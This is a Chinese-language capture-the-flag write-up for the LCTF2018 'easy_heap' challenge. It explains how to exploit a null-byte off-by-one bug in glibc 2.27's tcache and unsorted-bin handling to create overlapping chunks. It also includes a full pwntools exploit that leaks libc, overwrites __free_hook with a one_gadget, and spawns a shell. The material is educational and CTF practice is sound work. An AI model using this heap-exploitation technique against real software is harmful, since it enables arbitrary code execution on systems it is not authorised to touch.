https://github.com/LCTF/LCTF2018/tree/master/Writeup/easy_heap
参考
https://www.360zhijia.com/anquan/443460.html(推荐资料，还仔细分析了tcache的特性和总结)
在malloc的时候存在null-by-one漏洞，由于分配的堆块的大小都是0x100(加堆头)，所以null-by-one漏洞只会覆盖下个堆块的prev_inuse标志位为0。一般的利用思路是通过伪造prev_size的大小来构造overlap-chunk为所欲为，但是这种思路在这道题目里行不通，因为malloc在读取内容的时候‘\0’会截断而且堆块大小是0x100。 由于题目给的库是libc2.27，引入了tcache机制，tcache在分配完其中的7个堆块后如果再次分配，它会先从unsortedbin中把和要分配的堆块大小相同的堆块全部以单链表形式链入tcache的链表里然后再分配出来，如果unsortedbin中有三个及以上符合大小的堆块，当并入tcache时，你会发现中间的堆块其fd->bk以及bk->fd仍然指向它自身，利用点就是在这里，题目中恰好设置了堆块为0x100对齐，所以分配出来的堆块内容如果什么都不输那么它的“\0”终止符不会影响fd指针，在将中间的堆块重新malloc出来利用nullbyone漏洞修改下个堆块的previnuse位为0，然后填满tcache后free掉下个堆块，那么他就会和前面的堆块合并形成overlap-chunk，接下来泄漏libc地址，修改malloc_hook为one_gadget就能getshell了。
- 在没有办法手动写入 prev_size ，但又必须使用 prev_size 才可以进行利用的情况下，考虑使用系统写入的 prev_size 。
方法为：在 unsorted bin 合并时会写入 prev_size，而该 prev_size 不会被轻易覆盖（除非有新的 prev_size 需要写入），所以可以利用该 prev_size 进行利用。
具体过程：
- 将 A -> B -> C 三块 unsorted bin chunk 依次进行释放
- A 和 B 合并，此时 C 前的 prev_size 写入为 0x200
- A 、 B 、 C 合并，步骤 2 中写入的 0x200 依然保持
- 利用 unsorted bin 切分，分配出 A
- 利用 unsorted bin 切分，分配出 B，注意此时不要覆盖到之前的 0x200
- 将 A 再次释放为 unsorted bin 的堆块，使得 fd 和 bk 为有效链表指针
- 此时 C 前的 prev_size 依然为 0x200（未使用到的值），A B C 的情况： A (free) -> B (allocated) -> C (free)，如果使得 B 进行溢出，则可以将已分配的 B 块包含在合并后的释放状态 unsorted bin 块中。
但是在这个过程中需要注意 tcache 的影响。
隔块攻击
现隔块合并攻击的思路就是：
1.制造三个chunk全都free合并入unsorted bin：这时chunk3的presize为2*chunk
2.再把它们分配出来
3.chunk1给free进unsorted bin：①隔块合并它的时候能天然绕过bk、fd那个检查 ②chunk2的presize为1*chunk
4.chunk2先free进tcache，再分配到它off by one：①代码逻辑决定只能在分配的时候写那么一次而没有单独的编辑函数 ②进tcache要先new出一个腾地方，不能进unsorted bin是为了防止和chunk1合并破坏之前的铺垫
5.free掉chunk3即可隔块合并到chunk1：chunk3的presize是2chunk找到chunk1了，chunk1做size检查找到chunk2的presize是1chunk绕过成功，fd、bk那个检查也是天然过的
EXP
from pwn import *
p = process("./easy_heap")
context.log_level = "DEBUG"
def _free(index):
p.sendlineafter(">", "2")
p.sendlineafter(">", str(index))
def _malloc(size, content):
p.sendlineafter(">", "1")
p.sendlineafter(">", str(size))
p.sendlineafter(">", content)
def _puts(index):
p.sendlineafter(">", "3")
p.sendlineafter(">", str(index))
def fill_tcache(start, end, step = 1):
for i in range(start, end, step):
_free(i)
def remove_tcache(num):
for i in range(0, num):
_malloc(2, "a")
# Initialize
for i in range(0, 10):
_malloc(0x2, "a")
# fill the TCache to put chunk to unsorted bins
fill_tcache(3, 10)
# Chunk1 and chunk2 will merged, so chunk3's prev_size = 0x200
# Now, we can use off by one to overlap chunks
_free(0)
_free(1)
_free(2)
# Apply again to split unsorted bin
# The array will be filled from 0 ~ 6
remove_tcache(7)
# Split unsorted bin now, we can get 0x200 in prev_size of chunk9
_malloc(0x2, "7") # chunk7
_malloc(0x2, "8") # chunk8
# If we continue use free, they will be put to unsorted bin
# and the prev_size byte will be erased
# therefore, we apply tacache to store them
# We also need to switch there location in list
# Otherwise we cannot erase the prev_inuse byte
_malloc(0x2, "9")
_free(8)
fill_tcache(0, 6)
_free(7)
# off by one
remove_tcache(6)
_malloc(0xf8, "8")
# Again, we need to full filled our TCache to use unsorted bin
fill_tcache(0, 7)
# Trigger Overlap
_free(9)
remove_tcache(7)
_malloc(0x1, "a")
# Leak main_arena
_puts(7)
main_arena = p.recvline()[1:-1]
base = u64(main_arena + '\x00' * 2) - 0x3ebca0
print "base_addr: " + hex(base)
one_gadget = base + 0x4f322
free_hook = base + 0x3ed8e8
print "free_hook:" + hex(free_hook)
# TCache Arbitrary Write
_malloc(2, "0x9")
_free(7)
_free(9)
_malloc(0x10, p64(free_hook))
# Merege chunks to extra write
fill_tcache(0, 7)
remove_tcache(7)
_malloc(0x10, p64(one_gadget))
_free(0)
p.interactive()
特性补充
1.preinuse位何时置零：仅在前块link入unsorted bin过程中置零
2.size字段何时设置：仅在①alloc过程中设置 ②合并过程中合并后link入unsorted bin前设置
*3.presize字段何时设置：仅在前块link入unsorted bin过程中设置
4.单独的unlink动作不对后块preinuse位置1
5.堆块合并过程：先unlink前块，再合并，再link入unsorted bin
6.堆块合并过程中，指针变化和合并后的size计算是以用户free的那个块为中心，而前面提到的size==next.presize检查则是以被合并的前块为中心：堆块指针在合并后直接用presize值前推偏移，新size也是用户free块的size直接加上presize，而新增检查则是以前块为中心的